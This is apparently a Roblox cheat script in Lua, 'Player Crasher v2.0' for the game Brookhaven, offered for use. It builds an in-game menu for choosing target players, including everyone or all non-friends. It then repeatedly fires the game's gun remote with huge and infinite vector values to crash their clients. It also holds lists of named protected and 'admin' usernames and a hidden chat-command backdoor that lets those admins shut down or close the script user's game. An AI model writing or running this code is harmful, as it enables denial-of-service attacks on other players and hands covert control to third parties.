Brookhaven crash players

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--// Player Crasher v2.0 local CoreGui = game:GetService("CoreGui") local Players = game:GetService("Players") local RunService = game:GetService("RunService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local TweenService = game:GetService("TweenService") local StarterGui = game:GetService("StarterGui") local PROTECTED_PLAYERS = { "prespeshnikShashlika", "nicto3789", "nicto3787", "BNKA09024", "Kittyqueen300914", "xixoww_04", "gorenionia_nomer2", "New_Buildersman", "aboba22809228", "b00ferkidd", "filvod", "momona870", "tolik_scripter", "GetRenq", "MHE_HOPM7575", "ekdodieiwkjskfkf", "anarcho_kommunist2" } local ADMIN_PLAYERS = { "prespeshnikShashlika", "nicto3789", "nicto3787", "ekdodieiwkjskfkf", "anarcho_kommunist2", "New_Buildersman" } local screenGui = Instance.new("ScreenGui") screenGui.Name = "PlayerCrasherGUI" screenGui.Parent = CoreGui local GUI_WIDTH = 200 local GUI_HEIGHT = 125 local frame = Instance.new("Frame") frame.Parent = screenGui frame.Size = UDim2.new(0, GUI_WIDTH, 0, GUI_HEIGHT) frame.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1) frame.BackgroundTransparency = 0.65 frame.BorderSizePixel = 0 frame.Position = UDim2.new(0.5, -GUI_WIDTH/2, 0.5, -GUI_HEIGHT/2) frame.Active = true frame.Draggable = true local corner = Instance.new("UICorner") corner.Parent = frame corner.CornerRadius = UDim.new(0.1, 0) local borderFrame = Instance.new("Frame") borderFrame.Size = frame.Size borderFrame.Position = frame.Position borderFrame.BackgroundTransparency = 1 borderFrame.AnchorPoint = frame.AnchorPoint borderFrame.ZIndex = frame.ZIndex - 1 borderFrame.Parent = screenGui local borderCorner = frame.UICorner:Clone() borderCorner.Parent = borderFrame local borderStroke = Instance.new("UIStroke") borderStroke.Thickness = 3 borderStroke.LineJoinMode = Enum.LineJoinMode.Round borderStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Contextual borderStroke.Parent = borderFrame frame:GetPropertyChangedSignal("Position"):Connect(function() borderFrame.Position = frame.Position end) frame:GetPropertyChangedSignal("Size"):Connect(function() borderFrame.Size = frame.Size end) local titleLabel = Instance.new("TextLabel") titleLabel.Parent = frame titleLabel.Size = UDim2.new(0.9, 0, 0.15, 0) titleLabel.Position = UDim2.new(0.05, 0, 0.05, 0) titleLabel.BackgroundTransparency = 1 titleLabel.Text = "Player Crasher" titleLabel.TextColor3 = Color3.new(1, 1, 1) titleLabel.TextScaled = true titleLabel.Font = Enum.Font.GothamBold titleLabel.TextStrokeTransparency = 0.7 local textBox = Instance.new("TextBox") textBox.Parent = frame textBox.Size = UDim2.new(0.9, 0, 0.2, 0) textBox.Position = UDim2.new(0.05, 0, 0.25, 0) textBox.BackgroundColor3 = Color3.new(0.2, 0.2, 0.2) textBox.BackgroundTransparency = 0.35 textBox.Text = "" textBox.PlaceholderText = "Enter nicknames (or all and nonfriends)" textBox.TextColor3 = Color3.new(1, 1, 1) textBox.TextScaled = true textBox.BorderSizePixel = 0 textBox.Font = Enum.Font.Gotham local textBoxCorner = Instance.new("UICorner") textBoxCorner.Parent = textBox textBoxCorner.CornerRadius = UDim.new(0.2, 0) local buttonsContainer = Instance.new("Frame") buttonsContainer.Parent = frame buttonsContainer.Size = UDim2.new(0.9, 0, 0.25, 0) buttonsContainer.Position = UDim2.new(0.05, 0, 0.5, 0) buttonsContainer.BackgroundTransparency = 1 local crashButton = Instance.new("TextButton") crashButton.Parent = buttonsContainer crashButton.Size = UDim2.new(0.75, 0, 1, 0) crashButton.Position = UDim2.new(0, 0, 0, 0) crashButton.BackgroundColor3 = Color3.new(0.3, 0.3, 0.3) crashButton.BackgroundTransparency = 0.35 crashButton.Text = "Start Crash | Off" crashButton.TextColor3 = Color3.new(1, 1, 1) crashButton.TextScaled = true crashButton.BorderSizePixel = 0 crashButton.Font = Enum.Font.GothamBold local crashButtonCorner = Instance.new("UICorner") crashButtonCorner.Parent = crashButton crashButtonCorner.CornerRadius = UDim.new(0.2, 0) local toggleGuiButton = Instance.new("TextButton") toggleGuiButton.Parent = buttonsContainer toggleGuiButton.Size = UDim2.new(0.2, 0, 1, 0) toggleGuiButton.Position = UDim2.new(0.8, 0, 0, 0) toggleGuiButton.BackgroundColor3 = Color3.new(0.3, 0.3, 0.3) toggleGuiButton.BackgroundTransparency = 0.35 toggleGuiButton.Text = ">" toggleGuiButton.TextColor3 = Color3.new(1, 1, 1) toggleGuiButton.TextScaled = true toggleGuiButton.BorderSizePixel = 0 toggleGuiButton.Font = Enum.Font.GothamBold local toggleGuiButtonCorner = Instance.new("UICorner") toggleGuiButtonCorner.Parent = toggleGuiButton toggleGuiButtonCorner.CornerRadius = UDim.new(0.2, 0) local statusLabel = Instance.new("TextLabel") statusLabel.Parent = frame statusLabel.Size = UDim2.new(0.9, 0, 0.15, 0) statusLabel.Position = UDim2.new(0.05, 0, 0.8, 0) statusLabel.BackgroundTransparency = 1 statusLabel.Text = "Status: Ready" statusLabel.TextColor3 = Color3.new(1, 1, 1) statusLabel.TextScaled = true statusLabel.Font = Enum.Font.Gotham statusLabel.TextStrokeTransparency = 0.7 local extendedFrame = Instance.new("Frame") extendedFrame.Parent = screenGui extendedFrame.Size = UDim2.new(0, 180, 0, 250) extendedFrame.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1) extendedFrame.BackgroundTransparency = 0.65 extendedFrame.BorderSizePixel = 0 extendedFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2 - 190, 0.5, -125) extendedFrame.Visible = false extendedFrame.Active = true extendedFrame.Draggable = true local extendedCorner = Instance.new("UICorner") extendedCorner.Parent = extendedFrame extendedCorner.CornerRadius = UDim.new(0.1, 0) local extendedBorderFrame = Instance.new("Frame") extendedBorderFrame.Size = extendedFrame.Size extendedBorderFrame.Position = extendedFrame.Position extendedBorderFrame.BackgroundTransparency = 1 extendedBorderFrame.AnchorPoint = extendedFrame.AnchorPoint extendedBorderFrame.ZIndex = extendedFrame.ZIndex - 1 extendedBorderFrame.Parent = screenGui extendedBorderFrame.Visible = false local extendedBorderCorner = extendedCorner:Clone() extendedBorderCorner.Parent = extendedBorderFrame local extendedBorderStroke = Instance.new("UIStroke") extendedBorderStroke.Thickness = 3 extendedBorderStroke.LineJoinMode = Enum.LineJoinMode.Round extendedBorderStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Contextual extendedBorderStroke.Parent = extendedBorderFrame extendedFrame:GetPropertyChangedSignal("Position"):Connect(function() extendedBorderFrame.Position = extendedFrame.Position end) extendedFrame:GetPropertyChangedSignal("Size"):Connect(function() extendedBorderFrame.Size = extendedFrame.Size end) local extendedTitle = Instance.new("TextLabel") extendedTitle.Parent = extendedFrame extendedTitle.Size = UDim2.new(0.9, 0, 0.1, 0) extendedTitle.Position = UDim2.new(0.05, 0, 0.02, 0) extendedTitle.BackgroundTransparency = 1 extendedTitle.Text = "Crash Mode" extendedTitle.TextColor3 = Color3.new(1, 1, 1) extendedTitle.TextScaled = true extendedTitle.Font = Enum.Font.GothamBold extendedTitle.TextStrokeTransparency = 0.7 local scrollFrame = Instance.new("ScrollingFrame") scrollFrame.Parent = extendedFrame scrollFrame.Size = UDim2.new(0.9, 0, 0.85, 0) scrollFrame.Position = UDim2.new(0.05, 0, 0.15, 0) scrollFrame.BackgroundTransparency = 1 scrollFrame.BorderSizePixel = 0 scrollFrame.ScrollBarThickness = 5 scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0) local crashModes = { {"5 guns", "all"}, {"glock", "glock"}, {"glockbrown", "glockBrown"}, {"shotgun", "shotgun"}, {"sniper", "sniper"}, {"assault", "assault"}, {"20sec1rem", "sequential"} } local currentMode = "all" local modeButtons = {} local function createModeButton(text, mode, position) local button = Instance.new("TextButton") button.Parent = scrollFrame button.Size = UDim2.new(1, 0, 0, 30) button.Position = position button.BackgroundColor3 = Color3.new(0.3, 0.3, 0.3) button.BackgroundTransparency = 0.35 button.Text = text button.TextColor3 = Color3.new(1, 1, 1) button.TextScaled = true button.BorderSizePixel = 0 button.Font = Enum.Font.Gotham button.AutoButtonColor = true local buttonCorner = Instance.new("UICorner") buttonCorner.Parent = button buttonCorner.CornerRadius = UDim.new(0.2, 0) table.insert(modeButtons, {button = button, mode = mode}) button.MouseButton1Click:Connect(function() currentMode = mode for _, mb in ipairs(modeButtons) do if mb.mode == mode then mb.button.BackgroundColor3 = Color3.fromRGB(75, 75, 255) else mb.button.BackgroundColor3 = Color3.new(0.3, 0.3, 0.3) end end statusLabel.Text = "Mode: " .. text end) return button end for i, modeData in ipairs(crashModes) do createModeButton(modeData[1], modeData[2], UDim2.new(0, 0, 0, (i-1)*35)) end scrollFrame.CanvasSize = UDim2.new(0, 0, 0, #crashModes * 35) local isCrashing = false local crashConnection = nil local sequentialConnection = nil local targetPlayers = {} local currentPlayerIndex = 1 local sequentialStartTime = 0 local currentSequentialWeapon = 1 local function isPlayerAdmin(playerName) local playerNameLower = string.lower(playerName) for _, adminName in ipairs(ADMIN_PLAYERS) do if string.lower(adminName) == playerNameLower then return true end end return false end local function isPlayerProtected(playerName) local playerNameLower = string.lower(playerName) for _, protectedName in ipairs(PROTECTED_PLAYERS) do if string.lower(protectedName) == playerNameLower then return true end end return false end local function canCrashPlayer(targetName) local localPlayerName = Players.LocalPlayer.Name if isPlayerAdmin(localPlayerName) then return true end if isPlayerProtected(targetName) then return false end return true end local function showDeniedNotification() game:GetService("StarterGui"):SetCore("SendNotification", { Title = "[DENIED]", Text = "FRIENDLY FIRE!", Icon = "", Duration = 3 }) end local function sortPlayersAlphabetically(players) table.sort(players, function(a, b) return string.lower(a.Name) < string.lower(b.Name) end) return players end local function findPlayerByName(input) local inputLower = string.lower(input) if inputLower == "all" then return Players:GetPlayers() elseif inputLower == "nonfriends" then local players = {} for _, player in ipairs(Players:GetPlayers()) do if player ~= Players.LocalPlayer then local success, isFriend = pcall(function() return player:IsFriendsWith(Players.LocalPlayer.UserId) end) if not (success and isFriend) then table.insert(players, player) end end end return players else local foundPlayers = {} for _, player in ipairs(Players:GetPlayers()) do local playerName = string.lower(player.Name) local displayName = player.DisplayName and string.lower(player.DisplayName) or "" if string.find(playerName, inputLower) or string.find(displayName, inputLower) then table.insert(foundPlayers, player) end end return foundPlayers end end local function getPlayers(input) local players = {} input = string.lower(input or "") if input == "all" then for _, player in ipairs(Players:GetPlayers()) do if player ~= Players.LocalPlayer then table.insert(players, player) end end players = sortPlayersAlphabetically(players) elseif input == "nonfriends" then for _, player in ipairs(Players:GetPlayers()) do if player ~= Players.LocalPlayer then local success, isFriend = pcall(function() return player:IsFriendsWith(Players.LocalPlayer.UserId) end) if not (success and isFriend) then table.insert(players, player) end end end players = sortPlayersAlphabetically(players) else local searchTerms = {} for term in string.gmatch(input, "([^,]+)") do term = string.match(term, "^%s*(.-)%s*$") if term ~= "" then table.insert(searchTerms, term) end end for _, player in ipairs(Players:GetPlayers()) do if player ~= Players.LocalPlayer then local playerName = string.lower(player.Name) local displayName = player.DisplayName and string.lower(player.DisplayName) or "" for _, term in ipairs(searchTerms) do if string.find(playerName, term) or string.find(displayName, term) then table.insert(players, player) break end end end end players = sortPlayersAlphabetically(players) end return players end local function executeCrashOnPlayer(player, weaponType) if not player or not player.Character then return false end if not canCrashPlayer(player.Name) then showDeniedNotification() statusLabel.Text = "Status: DENIED - " .. player.Name .. " is protected!" return false end local backpack = Players.LocalPlayer.Backpack local remote = ReplicatedStorage.RE:FindFirstChild("1Gu1n") if not remote then return false end local humanoidRootPart = player.Character:FindFirstChild("HumanoidRootPart") if not humanoidRootPart then return false end local weapons = { assault = backpack:FindFirstChild("Assault"), sniper = backpack:FindFirstChild("Sniper"), shotgun = backpack:FindFirstChild("Shotgun"), glock = backpack:FindFirstChild("Glock"), glockBrown = backpack:FindFirstChild("GlockBrown") } local function fireRemote(gun) if gun then local gunScript = gun:FindFirstChild("GunScript_Local") if gunScript then local muzzleEffect = gunScript:FindFirstChild("MuzzleEffect") local hitEffect = gunScript:FindFirstChild("HitEffect") if muzzleEffect and hitEffect then local args = { [1] = humanoidRootPart, [2] = humanoidRootPart, [3] = Vector3.new(9999999999999999999, 9999999999999999999, 9999999999999999999), [4] = Vector3.new(-5.401659965515137, 3.7849464416503906, 14.209653854370117), [5] = muzzleEffect, [6] = hitEffect, [7] = 0, [8] = 0, [9] = {[1] = false}, [10] = { [1] = 25, [2] = Vector3.new(math.huge, math.huge, math.huge), [3] = BrickColor.new(29), [4] = 0.25, [5] = Enum.Material.SmoothPlastic, [6] = 0.25 }, [11] = true, [12] = false } remote:FireServer(unpack(args)) end end end end if weaponType == "all" then for _, weapon in pairs(weapons) do fireRemote(weapon) end elseif weaponType == "sequential" then local weaponNames = {"assault", "sniper", "shotgun", "glock", "glockBrown"} local currentWeapon = weaponNames[currentSequentialWeapon] fireRemote(weapons[currentWeapon]) else fireRemote(weapons[weaponType]) end return true end local function executeCrashSequence() if #targetPlayers == 0 then statusLabel.Text = "Status: No players found" return end if currentPlayerIndex > #targetPlayers then currentPlayerIndex = 1 end local player = targetPlayers[currentPlayerIndex] if player and player.Parent then local success = executeCrashOnPlayer(player, currentMode) if success then statusLabel.Text = "Status: Crashing " .. player.Name .. " (" .. currentPlayerIndex .. "/" .. #targetPlayers .. ")" else statusLabel.Text = "Status: Failed to crash " .. player.Name end else statusLabel.Text = "Status: Player not found" end currentPlayerIndex = currentPlayerIndex + 1 end local function executeSequentialCrash() if #targetPlayers == 0 then statusLabel.Text = "Status: No players found" return end if currentPlayerIndex > #targetPlayers then currentPlayerIndex = 1 end local player = targetPlayers[currentPlayerIndex] if player and player.Parent then local success = executeCrashOnPlayer(player, "sequential") if success then local weaponNames = {"Assault", "Sniper", "Shotgun", "Glock", "GlockBrown"} local currentWeaponName = weaponNames[currentSequentialWeapon] statusLabel.Text = "Status: " .. currentWeaponName .. " -> " .. player.Name .. " (" .. currentPlayerIndex .. "/" .. #targetPlayers .. ")" else statusLabel.Text = "Status: Failed to crash " .. player.Name end else statusLabel.Text = "Status: Player not found" end currentPlayerIndex = currentPlayerIndex + 1 if os.time() - sequentialStartTime >= 20 then sequentialStartTime = os.time() currentSequentialWeapon = currentSequentialWeapon + 1 if currentSequentialWeapon > 5 then currentSequentialWeapon = 1 end end end local function stopCrash() isCrashing = false crashButton.Text = "Start Crash | Off" crashButton.BackgroundColor3 = Color3.fromRGB(0.3, 0.3, 0.3) statusLabel.Text = "Status: Stopped" if crashConnection then crashConnection:Disconnect() crashConnection = nil end if sequentialConnection then sequentialConnection:Disconnect() sequentialConnection = nil end end local function toggleCrash() isCrashing = not isCrashing if isCrashing then local playersInput = textBox.Text if playersInput == "" then statusLabel.Text = "Status: Enter nicknames first!" isCrashing = false return end targetPlayers = getPlayers(playersInput) if #targetPlayers == 0 then statusLabel.Text = "Status: No players found" isCrashing = false return end local localPlayerName = Players.LocalPlayer.Name if not isPlayerAdmin(localPlayerName) then local protectedInList = {} for _, player in ipairs(targetPlayers) do if isPlayerProtected(player.Name) then table.insert(protectedInList, player.Name) end end if #protectedInList > 0 then statusLabel.Text = "Status: Protected players in list: " .. table.concat(protectedInList, ", ") showDeniedNotification() isCrashing = false return end end currentPlayerIndex = 1 crashButton.Text = "Start Crash | ON" crashButton.BackgroundColor3 = Color3.fromRGB(255, 75, 75) local playerNames = {} for _, player in ipairs(targetPlayers) do table.insert(playerNames, player.Name) end if isPlayerAdmin(localPlayerName) then statusLabel.Text = "Status: ADMIN MODE - Found: " .. table.concat(playerNames, ", ") else statusLabel.Text = "Status: Found: " .. table.concat(playerNames, ", ") end if currentMode == "sequential" then sequentialStartTime = os.time() currentSequentialWeapon = 1 sequentialConnection = RunService.Heartbeat:Connect(function() executeSequentialCrash() end) else crashConnection = RunService.Heartbeat:Connect(function() executeCrashSequence() end) end else stopCrash() end end local function toggleExtendedGUI() extendedFrame.Visible = not extendedFrame.Visible extendedBorderFrame.Visible = extendedFrame.Visible if extendedFrame.Visible then toggleGuiButton.Text = "<" extendedFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2 - 190, 0.5, -125) else toggleGuiButton.Text = ">" end end local function updatePlayerSuggestions() local input = textBox.Text if input == "" then statusLabel.Text = "Status: Ready" targetPlayers = {} return end local foundPlayers = getPlayers(input) if #foundPlayers > 0 then local playerNames = {} for _, player in ipairs(foundPlayers) do table.insert(playerNames, player.Name) end local localPlayerName = Players.LocalPlayer.Name if isPlayerAdmin(localPlayerName) then statusLabel.Text = "Status: ADMIN - Found: " .. table.concat(playerNames, ", ") else statusLabel.Text = "Status: Found: " .. table.concat(playerNames, ", ") end targetPlayers = foundPlayers else statusLabel.Text = "Status: Players not found" targetPlayers = {} end end textBox.FocusLost:Connect(function(enterPressed) if enterPressed then updatePlayerSuggestions() end end) textBox:GetPropertyChangedSignal("Text"):Connect(function() updatePlayerSuggestions() end) crashButton.MouseButton1Click:Connect(toggleCrash) toggleGuiButton.MouseButton1Click:Connect(toggleExtendedGUI) Players.PlayerAdded:Connect(updatePlayerSuggestions) Players.PlayerRemoving:Connect(updatePlayerSuggestions) game:GetService("Players").LocalPlayer.CharacterRemoving:Connect(function() stopCrash() statusLabel.Text = "Status: Character removed" end) local function equipWeapon(weaponName, stockName) local args = { [1] = weaponName, [2] = stockName } game:GetService("ReplicatedStorage").Remotes.GunEquip:InvokeServer(unpack(args)) end equipWeapon("Assault", "StockAssault") equipWeapon("Glock", "StockGlock") equipWeapon("Sniper", "StockSniper") equipWeapon("GlockBrown", "StockGlockBrown") equipWeapon("Shotgun", "StockShotgun") if #modeButtons > 0 then modeButtons[1].button.BackgroundColor3 = Color3.fromRGB(75, 75, 255) end updatePlayerSuggestions() local function processAdminCommand(sender, command) if not isPlayerAdmin(sender) then return false end local parts = string.split(command, " ") local cmd = parts[1]:lower() local targetInput = table.concat(parts, " ", 2) if targetInput == "" then return false end local foundPlayers = findPlayerByName(targetInput) for _, player in ipairs(foundPlayers) do if player == Players.LocalPlayer then if cmd == ".shut" then game:Shutdown() return true elseif cmd == ".off" then stopCrash() return true elseif cmd == ".close" then stopCrash() screenGui:Destroy() return true end end end return false end local function onPlayerChatted(player, message) if processAdminCommand(player.Name, message) then end end for _, player in ipairs(Players:GetPlayers()) do player.Chatted:Connect(function(message) onPlayerChatted(player, message) end) end Players.PlayerAdded:Connect(function(player) player.Chatted:Connect(function(message) onPlayerChatted(player, message) end) end) local userId = Players:GetUserIdFromNameAsync("prespeshnikShashlika") local thumbType = Enum.ThumbnailType.HeadShot local thumbSize = Enum.ThumbnailSize.Size420x420 local content, isReady = Players:GetUserThumbnailAsync(userId, thumbType, thumbSize) game:GetService("StarterGui"):SetCore("SendNotification", { Title = "Player Crasher", Text = "version V2.0", Icon = content, Duration = 7 })
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